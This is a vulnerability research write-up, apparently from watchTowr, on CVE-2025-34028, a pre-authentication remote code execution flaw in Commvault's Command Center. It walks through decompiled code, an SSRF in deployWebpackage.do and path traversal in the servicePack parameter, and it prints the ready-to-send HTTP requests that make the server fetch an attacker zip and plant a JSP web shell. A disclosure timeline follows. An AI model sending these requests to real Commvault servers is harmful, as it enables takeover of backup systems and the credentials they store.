Fire In The Hole, We’re Breaching The Vault - Commvault Remote Code Execution (CVE-2025-34028)
As we pack our bags and prepare for the adult-er version of BlackHat (that apparently doesn’t require us to print out stolen mailspoolz to hand to people at their talks), we want to tell you about a recent adventure - a heist, if you will.
No heist story is ever complete without a 10-metre thick steel door vault, silent pressure sensors beneath marble floors and laser grids slicing the air like spiderwebs — befitting of a crew reckless enough to think they can beat it all.
Enterprises continue to seek solutions that offer strong security assurance for their backup data (and associated integration credentials) - especially when faced with their friendly neighbourhood ransomware gangs.
We've previously, publicly and privately, analysed vulnerabilities in various ‘Backup and Replication’ platforms, including those offered by Veeam and NAKIVO - both of which have struggled to avoid scrutiny and in some cases, even opting to patch issues silently.
However, we’re glad to see that sense prevails - kudos to NAKIVO for acknowledging CVE-2024-48248 from our previous research and publicly responding to a new XXE vulnerability (CVE-2025-32406).
Backup and Replication solutions have become prime targets for ransomware operators for logical reasons — Veeam, for instance, has already seen widespread exploitation in the wild.
After all, ransomware loses its sting if you can simply restore from a backup floppy disk— but what is the sysadmin to do if the floppy disk has also been compromised?
Once again, we feel an overwhelming urge to highlight that these solutions aren't just valuable for the data they protect. Due to their automation and integration features, they often store credentials for privileged accounts across entire environments - just as we previously documented with NAKIVO.
Today, we're turning our attention to another contender in the same arena — Commvault.
What Is It?
Commvault is a self-described Data Protection or Cyber Resilience solution; fancy words aside, product market review sites categorise Commvault as an Enterprise Backup and Replication suite. This ability to read tells us that Commvault offers integrations and supports a wide array of technologies, including cloud providers, databases, SOARs, hypervisors, and more.
To gain an idea of the type of customers that use the Commvault solution, we can casually glance at their customer stories and logos - quickly revealing that the target audience for their software includes large enterprises, MSPs, and human sweatshops.
To sum up Commvault as a solution, we can’t help but echo their sentiment — a platform that confidently positions itself at the forefront of modern data protection:
As your trusted partner, Commvault's hardened, zero-trust protocols protect business data at its core while meeting the most stringent security standards for government agencies and business, alike.
Hehe, zero-trust.
The more we explore, the more Commvault's Backup and Recovery solution stands out as an appealing software target for schenanigans/security research. Fortunately, it comes in two flavours: a ‘SaaS' offering and, more interestingly, an on-premise edition.
Roll Out The Blueprints
We installed the latest version of its Windows on-premise edition, specifically version Innovation Release 11.38.20.
As with all large appliances/applications, it’s key to finding where we can interact with the functionality. Whilst there are several services running in this environment, such as:
- IIS - Port 81/TCP
- IIS - Port 82/TCP
- Core Application - Port 443/TCP
- Apache Solr - Port 20000/TCP
To locate the source of what is exposed on port 443, through a string of Windows commands, we can say with precision that the main application is running from a Tomcat.exe
process from Drive F:/
C:\\Users\\Administrator>netstat -ano | findstr :443
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 3112
TCP [::]:443 [::]:0 LISTENING 3112
----
C:\\Users\\Administrator>tasklist /fi "pid eq 3112" /v
Image Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
tomcat.exe 3112 Services 0 1,544,332 K Unknown NT AUTHORITY\\NETWORK SERVICE 0:01:44 N/A
C:\\Users\\Administrator>wmic process where processid="3112" get executablepath
ExecutablePath
F:\\Program Files\\Commvault\\ContentStore\\Apache\\bin\\tomcat.exe
When we attempt to access our freshly deployed instance, we’re prompted to create the administrative user. Subsequently, unpredictably and annoyingly, we’re presented with the first barrier to entry: the login panel.
Casing The Joint
Whenever reverse engineering applications for vulnerabilities, it's a process; it's going through the grooves to find its routes and endpoints, and asking yourself the all-important question - how can you interact with the application?
This varies from Nginx, Apache, Node, etc, but in this example, the initial contact is with an Apache Tomcat process, whose configuration lies within its server.xml
.
Looking at the server.xml
excerpt below, we can correlate the Tomcat application Context paths
to their docBase
, which tells us where the relevant files are for each route on disk. We're making progress! :
Context path="" docBase="F:/Program Files/Commvault/ContentStore/Apache/webapps/ROOT" reloadable="false">
<Manager pathname=""/>
</Context>
<Context path="/console" docBase="F:/Program Files/Commvault/ContentStore/GUI" reloadable="false">
<Manager pathname=""/>
</Context>
<Context path="/downloads/sqlscripts" docBase="F:/Program Files/Commvault/ContentStore/Metrics/scripts" reloadable="false">
<Manager pathname=""/>
</Context>
<Context path="/publicdownloads/sqlscripts" docBase="F:/Program Files/Commvault/ContentStore/Metrics/public" reloadable="false">
<Manager pathname=""/>
</Context>
<Context path="/commandcenter" docBase="F:/Program Files/Commvault/ContentStore/AdminConsole" reloadable="false">
<Manager pathname=""/>
<Resource name="BeanManager" auth="Container" type="javax.enterprise.inject.spi.BeanManager" factory="org.jboss.weld.resources.ManagerObjectFactory"/>
</Context>
<Context path="/identity" docBase="F:/Program Files/Commvault/ContentStore/identity" reloadable="false">
<Manager pathname=""/>
</Context>
<Context path="/CustomReportsEngine" docBase="F:/Program Files/Commvault/ContentStore/CustomReportsEngine" reloadable="false">
<Manager pathname=""/>
</Context>
<Context path="/reports" docBase="F:/Program Files/Commvault/ContentStore/Reports" reloadable="false">
<Manager pathname=""/>
</Context>
</Host>
</Engine>
Given how the application starts during the authentication phase, the main application resides within /commandcenter
, which follows a typical Tomcat structure with a web.xml
and WEB-INF
directories etc.
Browsing whilst unauthenticated with our favourite HTTP proxy, we see several requests to endpoints using the .do
extension, which typically indicates the usage of Apache Struts Framework - but this doesn’t appear to be true in the instance of Commvault, as there is no struts.xml
which lays out all of the .do
or .action
endpoints.
When looking at the web.xml
there are also no exact mapping of .do
endpoints, there is a context-param
for scanPackage
which looks at certain class paths.
Taking an educated guess it could be looking for packages which register routes in some way.
Sometimes, during reverse engineering, going from source to sink can be cumbersome, so to speed up the process, we can work backwards by decompiling all of the .jar
and .class
files within the lib
directory, and looking for endpoints that we .do
know of.
<context-param>
<param-name>scanPackage</param-name>
<param-value>commvault.web,commvault.cvmvc</param-value>
</context-param>
After successfully decompiling all the libraries, we can grep through them for a path we've already observed (sloCallBack.do
) within our HTTP proxy. Once we come across an example, it begins to make sense as to how the routing is instantiated:
Here's an example from cv-ac-core.jar
that's relatively straightforward: the path sloCallBack.do
and its requestMethod
are mapped to the function SLOCallBack
.
@RequestHandlerMethod(
url = "sloCallBack.do",
requestMethod = {RequestMethod.GET, RequestMethod.POST}
)
public void SLOCallBack(HttpSession session, HttpServletRequest request, HttpServletResponse response) throws IOException {
String receivedRelayStateParam = request.getParameter("cvRelay");
if (SSOLoginUtils.externalSiteLogoutEnabled(session)) {
this.loginService.handleExternalLogout(request, response);
} else {
boolean logoutSuccessStatus = StringUtils.equals(request.getParameter("LogoutErrorCode"), "0");
SSOLoginUtils.doClientLogoutAndRedirectToIntendedPage(request, response, logoutSuccessStatus);
}
}
After extracting all of the routes from the decompiled libraries with some regex magic, we proceeded to blast them at the target instance to see what falls out.
However, we quickly realised that some level of authentication was in place, as the majority of routes are issued a status code 302
and redirecting us to authenticate via /commandcenter/login/preSso.jsp.
Using keywords from some of the routes we know we can reach due to their non-redirect-ing response, we come across a handy-named file inContentStore/AdminConsole/WEB-INF/classes/authSkipRules.xml
, which contains a list of endpoints excluded from auth filters, a total of 58 endpoints!
legalNotice.do
ssoLogin.do
login.do
feedback.do
contact.do
[..Truncated..]
metricsUpload.do
webpackage.do
deployWebpackage.do
deployServiceCommcell.do
We can verify this by requesting each of these endpoints.
Results vary, but critically, they differ from the redirect to authenticate /commandcenter/login/preSso.jsp
.
Response not requiring auth: (/commandcenter/proxy.do
)
HTTP/1.1 900
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=331AB64D9DCB1A2684D0CD475CE7192E; Path=/commandcenter; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Permissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();
X-UA-Compatible: IE=Edge,chrome=1
Referrer-Policy: strict-origin-when-cross-origin
trace-id: fb3aaf23d74cd149ba827375f6e29e58
Set-Cookie: csrf=3e2d4412f5244bdca11f9027def59a6b; Path=/commandcenter; Secure
Cache-Control: no-store
vary: accept-encoding
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Tue, 22 Apr 2025 15:00:08 GMT
Server: Commvault WebServer
Content-Length: 11737
Response requiring auth: (/commandcenter/cappsSubclients.do
HTTP/1.1 302
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=CC45DD745D6571C778ADE996D3C5654E; Path=/commandcenter; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Permissions-Policy: accelerometer=(); geolocation=(); gyroscope=(); microphone=(); payment=();
X-UA-Compatible: IE=Edge,chrome=1
Referrer-Policy: strict-origin-when-cross-origin
trace-id: b966805d19ad0f23c7a164b4c811a922
Location: /commandcenter/login/preSso.jsp
Content-Length: 0
Date: Tue, 22 Apr 2025 14:54:29 GMT
Deploying Packages, Huh?
As with all research, we have to have clear objectives; typically, we have two prime objectives when it comes to watchTowr style vulnerability research, akin to 'PoC or GTFO':
- Is it pre-authenticated?
- Is it Remote Code Execution?
Having found endpoints and functionality that we can review to satisfy the first condition, it's our calling to meet the crucial point of impact, Remote Code Execution in said identified endpoints and functionality.
The list of pre-authenticated endpoints was short enough to audit from sources to sinks until we found something interesting - but we’d be lying if we didn’t admit that went straight to the clearly bait endpoint - deployWebpackage.do
.
The endpoint looks relatively straightforward as a POST
request, which expects 3 parameters:
-
commcellName
, -
servicePack
and, -
version
@RequestHandlerMethod(
url = "deployWebpackage.do",
requestMethod = {RequestMethod.POST}
)
public void deployWebPackage(@ReqParam(required = true) String commcellName, @ReqParam(required = true) String servicePack, @ReqParam(required = true) String version) throws Exception {
this.ccDeploySerivce.deployWebPackage(commcellName, servicePack, version);
}
A sample request would look like the following:
POST /commandcenter/deployWebpackage.do HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
commcellName=commcellNameValue&servicePack=servicePackValue&version=versionValue
Digging into the function widens our eyes as we see numerous Server-Side Request Forgery possibilities within ccDeploySerivce.deployWebPackage
.
public void deployWebPackage(String commcellName, String servicePack, String version) throws Exception {
CloseableHttpClient client = null;
try {
if (this.cvConfig.getDisableSSLForCCPackageDeploy()) {
client = HttpClientBuilder.create().setSSLContext((new SSLContextBuilder()).loadTrustMaterial((KeyStore)null, (x509Certificates, s) -> {
return true;
}).build()).setSSLHostnameVerifier(NoopHostnameVerifier.INSTANCE).build();
} else {
client = HttpClients.createDefault();
}
String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);
HttpGet request = new HttpGet("https://" + commcellName + "/commandcenter/webpackage.do"); <---- [0]
request.addHeader("Accept", "application/octet-stream");
CloseableHttpResponse response = client.execute(request); <---- [1]
As we can see above
- At
[0]
, our parametercommcellName
is concatenated into a URL as the hostname, - At
[1]
the server executes an HTTP request to this constructed URL.
A very straightforward pre-auth Server-Side Request Forgery (SSRF) vulnerability, as there is no filtering limiting the hosts that can be communicated with.
POST /commandcenter/deployWebpackage.do HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
commcellName=External-Controlled-Host.com&servicePack=watchTowr&version=x
GET /commandcenter/webpackage.do HTTP/1.1
Accept: application/octet-stream
Host: {{External-Controlled-Host.com}}
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Accept-Encoding: gzip,deflate
Escalate The Impact!
This is cool, but it’s not RCE. What about the next block of code?
We can see lots of key file writing functions being called, such as FileOutputStream
and BufferedOutputStream
, perhaps it extends our SSRF to something more impactful.
try {
InputStream in = response.getEntity().getContent(); <---- [2]
String confPath = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;
String distCCPath = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;
File confDirectory = this.createDirectory(confPath + servicePack); <---- [3]
String var10002 = confDirectory.getAbsolutePath();
File versionFile = new File(var10002 + File.separator + "version.txt");
FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false);
this.createDirectory(distCCPath);
BufferedInputStream bis = new BufferedInputStream(in); <---- [4]
try {
FileOutputStream fos = new FileOutputStream(new File(confDirectory, "dist-cc.zip")); <---- [5]
try {
BufferedOutputStream bos = new BufferedOutputStream(fos);
try {
byte[] buffer = new byte[1024];
int read;
while((read = bis.read(buffer)) != -1) {
bos.write(buffer, 0, read);
[...Truncated...]
bis.close();
this.deployCCPackage(servicePack); <---- [6]
logger.info("Deployed web package successfully");
Typically, in security testing, you want the functionality to succeed as much as possible, opening the attack surface to a broader and deeper processing net.
Attaching a debugger and following along with the execution allows us to see where points in time fail, and where we can correct our payloads for maximum success.
This particular function starts at [2]
where we can observe the response from the SSRF request being stored to the InputStream
variable in
.
Moving further through the code with our debugger, we notice some directories are set using the value we define for the HTTP POST request parameter servicePack
at[3]
- however it happens to be caught in an exception with the following error:
java.io.IOException: Failed to create directory /F:/Program Files/Commvault/ContentStore/\\Apache\\conf\\ccPackages\\hello
We quickly realised that the pre-fixed directory ccPackages
doesn’t exist within the /Apache/
directory, which is causing it to fail.
Perhaps in the natural flow of utilising this functionality, the directory is created in the environment:
However, with an offensive mindset, we can quickly manoeuvre over[3]
and this error, by using a couple of path traversals in the servicePack
parameter, eliminating this blocker as we’re now entering an existing directory:
POST /commandcenter/deployWebpackage.do HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
commcellName=External-Controlled-Host.com&servicePack=../../Hello&version=x
With the function continuing in execution, the code begins to flow through file write operations. For example:
[4
] The SSRF response stored earlier is now loaded into aBufferedInputStream.
[5]
A new file is created at[5]
specifically ,dist-cc.zip
.- A
while
loop then begins processes to write this data to disk.
Stepping out of the debugger for a moment, we can see a directory is created on the file system at F:\\\\Program Files\\\\Commvault\\\\ContentStore\\\\Apache\\\\hello
with interesting contents.
Two files are within this directory:
- version.txt
- The contents of which consist of the value of the
version
parameter we supplied within the HTTP request.
- The contents of which consist of the value of the
- dist-cc.zip
- While not a valid zip file in the sense that we can extract it; however, opening this in Notepad shows the contents of the HTTP response from the externally controlled server that we supplied within the
commcellName
parameter.
- While not a valid zip file in the sense that we can extract it; however, opening this in Notepad shows the contents of the HTTP response from the externally controlled server that we supplied within the
Below shows each of the files open in Notepad for clarity:
As mentioned before, a key to success is to complete function execution or as closely as possible; in this case, we move to the final function.
private void deployCCPackage(String servicePack) throws IOException {
String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);
String CC_DEPLOY_PATH = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;
String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;
String TEMP_DIR = servicePack + ".tmp" + File.separator + "dist-cc";
String SERVICEPACK_DEPLOY_PATH = DIST_CC_PATH + servicePack + ".tmp"; <---- [7]
File dir = new File(SERVICEPACK_DEPLOY_PATH);
if (dir.exists()) {
FileUtils.deleteDirectory(dir);
}
this.fileZipUtil.unzipFileWrtAbsPath(CC_DEPLOY_PATH + servicePack + File.separator + "dist-cc.zip", DIST_CC_PATH + TEMP_DIR); <---- [8]
The start of the function deployCCPackage
is purely an initialisation phase, in that directories and file paths are set for the rest of the function. Interestingly, though, looking at [7]
, we can quickly see a new directory is set with a .tmp
suffix; the debug output shows the location as
/F:/Program Files/Commvault/ContentStore/\\\\AdminConsole\\\\dist-cc-sps\\\\../../hello.tmp
The function then takes the contents of dist-cc.zip
and unzips it to the temp directory created previously. [8]
/F:/Program Files/Commvault/ContentStore/\\Apache\\conf\\ccPackages\\../../Hello.tmp\\dist-cc
Resulting in a temporary directory with the following contents:
PS F:\\Program Files\\Commvault\\ContentStore> tree /f .\\Hello.tmp\\
Folder PATH listing for volume CVLT
F:\\PROGRAM FILES\\COMMVAULT\\CONTENTSTORE\\HELLO.TMP
version.txt
No subfolders exist
Until this point, the contents of the external server we control, injecting its response to this function, have been generic HTML content; now it’s time to use a zip file containing malicious .jsp
files to see if we can achieve our initial objective of Remote Code Execution.
Zipping Subterfuge!
To summarise, before we complete the heist:
- We send an HTTP request to
/commandcenter/deployWebpackage.do
- This coerces the Commvault instance to fetch a ZIP file from our externally controlled server.
- The contents of this zip file is unzipped to a
.tmp
directory we control.
A theoretical path to victory here would be to:
- Create a zip file containing a malicious
.jsp
file - Host this zip file on an external HTTP server via the endpoint
/commandcenter/webpackage.do
[0]
- Use the
servicePack
parameter to traverse the.tmp
directory into a pre-authenticated facing directory on the server, such as../../Reports/MetricsUpload/shell
. We can ascertain this by referring back to theserver.xml
excerpt at the start of this article.
<Context path="/reports" docBase="F:/Program Files/Commvault/ContentStore/Reports" reloadable="false">
<Manager pathname=""/>
</Context>
- Execute the SSRF via
/commandcenter/deployWebpackage.do
and see if our shell unzips. - Execute our shell from
/reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/shell.jsp
Full Request:
POST /commandcenter/deployWebpackage.do HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
commcellName=external-host.com&servicePack=../../Reports/MetricsUpload/shell/&version=watchTowr
The attacker-controlled external server is interacted with, the zip file is downloaded from our endpoint /commandcenter/webpackage.do
, and we can double check to see the shell is unzipped into place:
PS F:\\Program Files\\Commvault\\ContentStore\\Reports\\MetricsUpload\\shell> tree /F
Folder PATH listing for volume CVLT
F:.
└───.tmp
│ version.txt
│
└───dist-cc
└───dist-cc
│ watchTowr.jsp
│
└───ccApp
index.html
Now, it's just a case of triggering our shell...
GET /reports/MetricsUpload/shell/.tmp/dist-cc/dist-cc/watchTowr.jsp HTTP/1.1
Host: {{Hostname}}
HTTP/1.1 200
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=49A48BB65CF9B96A0D691D545FB26911; Path=/reports; Secure; HttpOnly
Content-Type: text/plain;charset=UTF-8
Content-Length: 607
Date: Thu, 17 Apr 2025 02:19:18 GMT
Server: Commvault WebServer
2l8 b4by, watchTowr was here
SERVER INFORMATION:
------------------
Server Info: Apache Tomcat/10.1.31
Remote IP: 192.168.1.1
Session ID: 49A48BB65CF9B96A0D691D545FB26911
Timestamp: Thu Apr 17 02:19:18 UTC 2025
And just like that, Pre-Authenticated Remote Code Execution in Commvault.
Happy with this success, we checked the parallel endpoint within this controller, deployServiceCommcell.do
which is a parallel mirror of deployWebpackage.do
utilising a updateDeployPackages
function which maintains one key difference!
Following a format as seen before, the endpoint is denoted within a RequestHandlerMethod
the endpoint deployServiceCommcell.do
is of a POST
method.
@RequestHandlerMethod(
url = "deployServiceCommcell.do",
requestMethod = {RequestMethod.POST}
)
public void deployServiceCommcell(HttpServletRequest request) throws Exception {
this.ccDeploySerivce.updateDeployPackages(request);
}
public void updateDeployPackages(HttpServletRequest request) {
try {
Collection<Part> parts = request.getParts();
String servicePack = "";
String version = "";
InputStream fileContent = null;
Iterator var6 = parts.iterator();
while(true) {
String fieldValue;
while(var6.hasNext()) {
Part part = (Part)var6.next();
if (part.getContentType() != null && part.getContentType().startsWith("text")) {
fieldValue = IOUtils.toString(part.getInputStream(), StandardCharsets.UTF_8);
if (part.getName().contentEquals("servicePack")) {
servicePack = "SP" + fieldValue;
} else if (part.getName().contentEquals("version")) {
version = fieldValue;
}
} else if (part.getContentType() != null && part.getContentType().startsWith("application/octet-stream")) {
fileContent = part.getInputStream(); <---- [9]
}
}
if (fileContent != null && !CVCoreUtil.isNullOrEmpty(version) && !CVCoreUtil.isNullOrEmpty(servicePack)) {
String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);
String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;
fieldValue = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;
File confDirectory = this.createDirectory(fieldValue + servicePack);
this.createDirectory(DIST_CC_PATH);
File servicePackFolder = new File(DIST_CC_PATH + servicePack);
File versionFile;
String var10002;
if (servicePackFolder.exists()) {
var10002 = servicePackFolder.getPath();
versionFile = new File(var10002 + File.separator + "version.txt");
if (versionFile.exists()) {
String currentVersion = (new String(Files.readAllBytes(Paths.get(versionFile.getPath())))).trim();
if (currentVersion.compareTo(version) >= 0) {
logger.debug("No CC deploy needed as latest version is already deployed.");
return;
}
}
}
var10002 = confDirectory.getAbsolutePath();
versionFile = new File(var10002 + File.separator + "version.txt");
FileUtils.writeStringToFile(versionFile, version, StandardCharsets.UTF_8, false);
FileOutputStream out = new FileOutputStream(new File(confDirectory, "dist-cc.zip"));
try {
byte[] buffer = new byte[1024];
int len;
while((len = fileContent.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
} catch (Throwable var16) {
try {
out.close();
} catch (Throwable var15) {
var16.addSuppressed(var15);
}
throw var16;
}
out.close();
this.deployCCPackage(servicePack); <---- [10]
Following the code path into updateDeployPackages
,we can see an almost replica of what we’ve already analysed.
However, in this circumstance, the zip file is read in from a multipart request [9]
before being pushed into the vulnerable function deployCCPackage
[10]
. This, ultimately, allows threat actors to exploit environments where external HTTP requests may be proxied.
Detection Artefact Generator
We’ve created a Detection Artefact Generator for sysadmins, engineers and others to determine if their instance is vulnerable.
Comms with Commvault
We contacted Commvault PSIRT, who have been a pleasure to deal with, informing them of the Remote Code Execution chain (that we achieved via SSRF <> Arbitrary File Write chaining) on April 7, 2025.
Commvault released a patch for these vulnerabilities on April 10, 2025, and subsequently released an advisory on April 17, 2025 - https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html.
The article released by Commvault details the affected and remediated version table below:
Product | Platforms | Affected Versions | Resolved Version | Status |
---|---|---|---|---|
Commvault | Linux, Windows | 11.38.0 - 11.38.19 | 11.38.20 | Resolved |
Commvault PSIRT has communicated that this vulnerability affects explicitly their Innovation Release, which appears to maintain the cutting-edge features of the Commvault solution; the vulnerable function is apparently only a recent addition.
Impressively though the turnaround time from reporting to patching and advisory has to be record-breaking in our experience! (1 week!)
Admittedly, we were at first concerned when we saw highlighted affected versions in the advisory from Commvault - as we had initially reported the vulnerabilities mentioned above in version 11.38.20
. Curiously, however, Commvault has listed this version as being patched.
Naturally, we informed Commvault that we had tested both 11.38.5
and 11.38.20
and requested a clear affected version range on April 9. Commvault responded rapidly on April 10, confirming what we already knew - we're generally wrong.
“We have already fixed this issue in the current supported Technology Preview versions which is 11.38.20 and above.”
Timeline
Date | Detail |
7th April 2025 | Vulnerability discovered |
7th April 2025 | Vulnerability disclosed to CommVault in version 11.38.20 |
7th April 2025 | watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected |
8th April 2025 | Commvault acknowledges the vulnerability and begins remediation |
10th April 2025 | Commvault release a fix for versions 11.38.20 and above |
17th April 2025 | Commvault publishes an advisory |
22nd April 2025 | watchTowr requests CVE assignment via VulnCheck as a CNA. CVE-2025-34028 is assigned. |
24th April 2025 | Blogpost and PoC release |